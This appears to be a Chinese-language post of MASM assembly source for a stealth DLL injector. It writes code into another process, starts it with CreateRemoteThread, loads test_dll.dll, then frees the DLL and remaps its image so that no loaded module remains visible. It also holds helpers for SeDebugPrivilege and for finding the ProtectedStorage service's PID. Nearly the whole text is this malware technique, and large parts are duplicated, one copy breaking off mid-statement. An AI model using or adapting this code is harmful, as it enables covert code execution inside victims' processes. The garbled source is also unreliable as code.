说明:下面代码是基本的注射,执行的代码在test_dll.dll里
test_dll.dll在进程加载后重定位的PE镜像复制一个临时空间,然后FreeLibrary,再从临时空间把镜像复制到原空间,这样实现无DLL
.386
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
Include user32.inc
Include kernel32.inc
include advapi32.inc
include masm32.inc
IncludeLib user32.lib
IncludeLib kernel32.lib
includeLib advapi32.lib
includelib masm32.lib
include macros.asm
.code
;提高权限
DebugPrivilege proc bEnable:BOOL
local hToken : HANDLE
local tp : TOKEN_PRIVILEGES
push ebx
invoke GetCurrentProcess
mov ebx, eax
invoke OpenProcessToken, ebx, TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES, ADDR hToken
.if eax!=NULL
mov tp.PrivilegeCount, 1
.if bEnable
mov tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
.else
mov tp.Privileges[0].Attributes,0
.endif
invoke LookupPrivilegeValue,NULL,CTXT("SeDebugPrivilege"),addr tp.Privileges[0].Luid
.if eax!=NULL
invoke AdjustTokenPrivileges,hToken,FALSE,addr tp,sizeof TOKEN_PRIVILEGES,NULL,NULL
.endif
invoke CloseHandle,hToken
.endif
pop ebx
Ret
DebugPrivilege EndP
;获取目标服务进程pid
GetPid proc uses edx ebx
local hSCManager,schService:SC_HANDLE
local buffer[255]:BYTE
local pcbBytesNeeded:DWORD
xor ebx,ebx
mov hSCManager,NULL
mov schService,NULL
invoke OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
.if eax!=NULL
mov hSCManager,eax
invoke OpenService,hSCManager,CTXT("ProtectedStorage"),SERVICE_ALL_ACCESS
.if eax!=NULL
mov schService,eax
invoke QueryServiceStatusEx,schService,0 ,/
addr buffer,255,addr pcbBytesNeeded
invoke CloseServiceHandle,schService
lea edx,buffer
;assume edx:ptr SERVICE_STATUS_PROCESS
mov ebx,[edx+28]
;assume edx:nothing
.endif
invoke CloseServiceHandle,hSCManager
.endif
mov eax,ebx
Ret
GetPid EndP
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoVirtualAlloc typedef proto :dword,:dword,:dword,:dword
_ProtoFreeLibrary typedef proto :dword
_ProtoVirtualFree typedef proto :dword,:dword,:dword
_ProtoRtlCopyMemory typedef proto :dword,:dword,:dword
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiVirtualAlloc typedef ptr _ProtoVirtualAlloc
_ApiFreeLibrary typedef ptr _ProtoFreeLibrary
_ApiVirtualFree typedef ptr _ProtoVirtualFree
REMOTE_CODE_START equ this byte
hDllKernel32 dd ?
hGhostDll dd ?
_GhostDllStart dd ?
hTmpDll dd ?
nSizeOfImage dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_VirtualAlloc _ApiVirtualAlloc ?
_FreeLibrary _ApiFreeLibrary ?
_VirtualFree _ApiVirtualFree ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szVirtualAlloc db 'VirtualAlloc',0
szFreeLibrary db 'FreeLibrary',0
szVirtualFree db 'VirtualFree',0
szGhostDll db 'test_dll.dll',0
szGhostDllStart db 'GhostStart',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase proc
assume fs:flat
push esi
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+8]
pop esi
Ret
_GetKernelBase EndP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RemoteCodeEntry proc
pushad
;重定位
call @F
@@:
pop ebx
sub ebx,offset @B
;获取Kernel32.dll基址
call _GetKernelBase
mov [ebx+hDllKernel32],eax
;获取GetProcAddress入口
mov [ebx+hDllKernel32],eax
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
mov [ebx+_GetProcAddress],eax
;获取LoadLibrary入口
lea eax,[ebx+szLoadLibrary]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
;获取VirtualAlloc入口
lea eax,[ebx+szVirtualAlloc]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_VirtualAlloc],eax
;获取FreeLibrary入口
lea eax,[ebx+szFreeLibrary]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_FreeLibrary],eax
;获取VirtualFree入口
lea eax,[ebx+szVirtualFree]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_VirtualFree],eax
;加载ghost
lea eax,[ebx+szGhostDll]
invoke [ebx+_LoadLibrary],eax
mov [ebx+hGhostDll],eax
;获取DLL PE镜像大小
mov eax,[ebx+hGhostDll]
add eax,[eax+3ch]
assume eax:ptr IMAGE_NT_HEADERS
mov eax,[eax].OptionalHeader.SizeOfImage
mov [ebx+nSizeOfImage],eax
;获取GhostDllStart入口
lea eax,[ebx+szGhostDllStart]
invoke [ebx+_GetProcAddress],[ebx+hGhostDll],eax
mov [ebx+_GhostDllStart],eax
;重定位后的代码复制到临时空间
invoke [ebx+_VirtualAlloc],0,[ebx+nSizeOfImage],/
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
Include user32.inc
Include kernel32.inc
include advapi32.inc
include masm32.inc
IncludeLib user32.lib
IncludeLib kernel32.lib
includeLib advapi32.lib
includelib masm32.lib
include macros.asm
.code
;提高权限
DebugPrivilege proc bEnable:BOOL
local hToken : HANDLE
local tp : TOKEN_PRIVILEGES
push ebx
invoke GetCurrentProcess
mov ebx, eax
invoke OpenProcessToken, ebx, TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES, ADDR hToken
.if eax!=NULL
mov tp.PrivilegeCount, 1
.if bEnable
mov tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
.else
mov tp.Privileges[0].Attributes,0
.endif
invoke LookupPrivilegeValue,NULL,CTXT("SeDebugPrivilege"),addr tp.Privileges[0].Luid
.if eax!=NULL
invoke AdjustTokenPrivileges,hToken,FALSE,addr tp,sizeof TOKEN_PRIVILEGES,NULL,NULL
.endif
invoke CloseHandle,hToken
.endif
pop ebx
Ret
DebugPrivilege EndP
;获取目标服务进程pid
GetPid proc uses edx ebx
local hSCManager,schService:SC_HANDLE
local buffer[255]:BYTE
local pcbBytesNeeded:DWORD
xor ebx,ebx
mov hSCManager,NULL
mov schService,NULL
invoke OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
.if eax!=NULL
mov hSCManager,eax
invoke OpenService,hSCManager,CTXT("ProtectedStorage"),SERVICE_ALL_ACCESS
.if eax!=NULL
mov schService,eax
invoke QueryServiceStatusEx,schService,0 ,/
addr buffer,255,addr pcbBytesNeeded
invoke CloseServiceHandle,schService
lea edx,buffer
;assume edx:ptr SERVICE_STATUS_PROCESS
mov ebx,[edx+28]
;assume edx:nothing
.endif
invoke CloseServiceHandle,hSCManager
.endif
mov eax,ebx
Ret
GetPid EndP
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoVirtualAlloc typedef proto :dword,:dword,:dword,:dword
_ProtoFreeLibrary typedef proto :dword
_ProtoVirtualFree typedef proto :dword,:dword,:dword
_ProtoRtlCopyMemory typedef proto :dword,:dword,:dword
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiVirtualAlloc typedef ptr _ProtoVirtualAlloc
_ApiFreeLibrary typedef ptr _ProtoFreeLibrary
_ApiVirtualFree typedef ptr _ProtoVirtualFree
REMOTE_CODE_START equ this byte
hDllKernel32 dd ?
hGhostDll dd ?
_GhostDllStart dd ?
hTmpDll dd ?
nSizeOfImage dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_VirtualAlloc _ApiVirtualAlloc ?
_FreeLibrary _ApiFreeLibrary ?
_VirtualFree _ApiVirtualFree ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szVirtualAlloc db 'VirtualAlloc',0
szFreeLibrary db 'FreeLibrary',0
szVirtualFree db 'VirtualFree',0
szGhostDll db 'test_dll.dll',0
szGhostDllStart db 'GhostStart',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase proc
assume fs:flat
push esi
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+8]
pop esi
Ret
_GetKernelBase EndP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RemoteCodeEntry proc
pushad
;重定位
call @F
@@:
pop ebx
sub ebx,offset @B
;获取Kernel32.dll基址
call _GetKernelBase
mov [ebx+hDllKernel32],eax
;获取GetProcAddress入口
mov [ebx+hDllKernel32],eax
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
mov [ebx+_GetProcAddress],eax
;获取LoadLibrary入口
lea eax,[ebx+szLoadLibrary]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
;获取VirtualAlloc入口
lea eax,[ebx+szVirtualAlloc]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_VirtualAlloc],eax
;获取FreeLibrary入口
lea eax,[ebx+szFreeLibrary]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_FreeLibrary],eax
;获取VirtualFree入口
lea eax,[ebx+szVirtualFree]
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_VirtualFree],eax
;加载ghost
lea eax,[ebx+szGhostDll]
invoke [ebx+_LoadLibrary],eax
mov [ebx+hGhostDll],eax
;获取DLL PE镜像大小
mov eax,[ebx+hGhostDll]
add eax,[eax+3ch]
assume eax:ptr IMAGE_NT_HEADERS
mov eax,[eax].OptionalHeader.SizeOfImage
mov [ebx+nSizeOfImage],eax
;获取GhostDllStart入口
lea eax,[ebx+szGhostDllStart]
invoke [ebx+_GetProcAddress],[ebx+hGhostDll],eax
mov [ebx+_GhostDllStart],eax
;重定位后的代码复制到临时空间
invoke [ebx+_VirtualAlloc],0,[ebx+nSizeOfImage],/
MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [ebx+hTmpDll],eax
cld
mov esi,[ebx+hGhostDll]
mov edi,eax
mov ecx,[ebx+nSizeOfImage]
rep movsb
invoke [ebx+_FreeLibrary],[ebx+hGhostDll]
;重新加载
invoke [ebx+_VirtualAlloc],[ebx+hGhostDll],[ebx+nSizeOfImage],/
MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [ebx+hGhostDll],eax
cld
mov esi,[ebx+hTmpDll]
mov edi,eax
mov ecx,[ebx+nSizeOfImage]
rep movsb
invoke [ebx+_VirtualFree],[ebx+hTmpDll],[ebx+nSizeOfImage],MEM_DECOMMIT
call [ebx+_GhostDllStart]
mov [ebx+hTmpDll],eax
cld
mov esi,[ebx+hGhostDll]
mov edi,eax
mov ecx,[ebx+nSizeOfImage]
rep movsb
invoke [ebx+_FreeLibrary],[ebx+hGhostDll]
;重新加载
invoke [ebx+_VirtualAlloc],[ebx+hGhostDll],[ebx+nSizeOfImage],/
MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [ebx+hGhostDll],eax
cld
mov esi,[ebx+hTmpDll]
mov edi,eax
mov ecx,[ebx+nSizeOfImage]
rep movsb
invoke [ebx+_VirtualFree],[ebx+hTmpDll],[ebx+nSizeOfImage],MEM_DECOMMIT
call [ebx+_GhostDllStart]
popad
Ret
RemoteCodeEntry EndP
REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
;注射ghost.dll
InjectGhost proc
local @pRemoteCode
local @hProcess,hThread:HANDLE
local path[260]:CHAR
local @pid,cb,pfnThreadRtn,@dwTmp:DWORD
;查找对象pid
invoke FindWindow,NULL,CTXT("Simple Dialog")
mov @dwTmp,eax
invoke GetWindowThreadProcessId,@dwTmp,addr @pid
;创建远程线程
;invoke DebugPrivilege,TRUE
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,/
FALSE,@pid
.if eax!=NULL
mov @hProcess,eax
invoke VirtualAllocEx,@hProcess,NULL,REMOTE_CODE_LENGTH,/
MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
.if eax
mov @pRemoteCode,eax
invoke WriteProcessMemory,@hProcess,@pRemoteCode,/
offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
mov eax,@pRemoteCode
add eax,offset RemoteCodeEntry-offset REMOTE_CODE_START
invoke CreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
invoke CloseHandle,eax
.endif
invoke CloseHandle,@hProcess
.endif
Ret
InjectGhost EndP
Start:
invoke InjectGhost
exit
End Start
Ret
RemoteCodeEntry EndP
REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
;注射ghost.dll
InjectGhost proc
local @pRemoteCode
local @hProcess,hThread:HANDLE
local path[260]:CHAR
local @pid,cb,pfnThreadRtn,@dwTmp:DWORD
;查找对象pid
invoke FindWindow,NULL,CTXT("Simple Dialog")
mov @dwTmp,eax
invoke GetWindowThreadProcessId,@dwTmp,addr @pid
;创建远程线程
;invoke DebugPrivilege,TRUE
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,/
FALSE,@pid
.if eax!=NULL
mov @hProcess,eax
invoke VirtualAllocEx,@hProcess,NULL,REMOTE_CODE_LENGTH,/
MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
.if eax
mov @pRemoteCode,eax
invoke WriteProcessMemory,@hProcess,@pRemoteCode,/
offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
mov eax,@pRemoteCode
add eax,offset RemoteCodeEntry-offset REMOTE_CODE_START
invoke CreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
invoke CloseHandle,eax
.endif
invoke CloseHandle,@hProcess
.endif
Ret
InjectGhost EndP
Start:
invoke InjectGhost
exit
End Start